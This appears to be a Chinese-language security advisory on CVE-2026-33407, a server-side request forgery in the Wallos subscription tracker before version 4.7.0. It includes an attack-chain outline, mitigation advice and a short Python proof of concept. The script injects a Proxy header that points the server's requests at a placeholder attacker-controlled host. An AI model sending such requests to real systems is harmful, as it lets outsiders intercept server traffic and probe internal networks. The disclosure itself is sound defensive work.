IPBUF安全漏洞报告
English
CVE-2026-33407 CVSS 9.1 严重

CVE-2026-33407 Wallos存在SSRF漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33407
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Wallos

相关标签

SSRFWallosProxy HijackingCVE-2026-33407RCE

漏洞概述

Wallos是一款开源的个人订阅跟踪工具。在4.7.0版本之前,其`endpoints/logos/search.php`接口存在安全缺陷,未经验证即接受`HTTP_PROXY`和`HTTPS_PROXY`环境变量。攻击者可利用该漏洞通过代理劫持发起SSRF攻击,控制服务器对用户提供的搜索词进行DNS解析,从而触发对任意域名的出站请求。

技术细节

该漏洞的核心在于Wallos应用对HTTP代理环境变量的处理不当。在受影响版本的`endpoints/logos/search.php`文件中,代码直接读取并使用了`HTTP_PROXY`和`HTTPS_PROXY`环境变量,而未验证其来源或合法性。由于某些Web服务器配置会将客户端请求头映射为环境变量(如`Proxy`头映射为`HTTP_PROXY`),攻击者可通过精心构造的HTTP请求注入恶意的代理地址。当服务器处理用户提交的搜索词时,会尝试对域名进行DNS解析并请求资源。在此过程中,恶意的代理配置生效,诱导应用服务器向攻击者控制的代理服务器发起连接,甚至通过该代理进一步访问内网资源,从而造成SSRF攻击,可能导致敏感信息泄露或内网探测。

攻击链分析

STEP 1
侦察
攻击者识别出运行易受攻击版本(< 4.7.0)的 Wallos 实例,并确定 `endpoints/logos/search.php` 端点可访问。
STEP 2
漏洞利用
攻击者向该端点发送特制的 HTTP POST 请求,注入恶意的 `Proxy` 头部(用于设置 `HTTP_PROXY` 环境变量)并控制搜索参数。
STEP 3
代理劫持
服务器端脚本读取被篡改的环境变量,并使用攻击者指定的代理服务器来处理后续的网络请求。
STEP 4
SSRF执行
服务器尝试解析搜索词中的域名,并通过恶意代理发起出站连接,导致数据泄露或内网扫描。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Wallos instance target_url = "http://<target-ip>/endpoints/logos/search.php" # The vulnerability allows setting the proxy via environment variables. # In many CGI/FPM setups, the 'Proxy' header sets the HTTP_PROXY env var. headers = { "Proxy": "http://<attacker-controlled-ip>:8080" } # The server performs DNS resolution on the search term. data = { "search": "example.com" } try: response = requests.post(target_url, headers=headers, data=data) print(f"Status Code: {response.status_code}") print("If the server resolves 'example.com' via the attacker's proxy, the exploit is successful.") except Exception as e: print(f"Error: {e}")

影响范围

Wallos < 4.7.0

防御指南

临时缓解措施
由于该漏洞涉及代理劫持,建议在服务器配置中禁用对`HTTP_PROXY`和`HTTPS_PROXY`环境变量的信任,或在Web服务器层面(如Nginx/Apache)过滤掉包含Proxy相关的请求头。同时,限制服务器的出站网络访问权限,仅允许必要的白名单域名通信。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表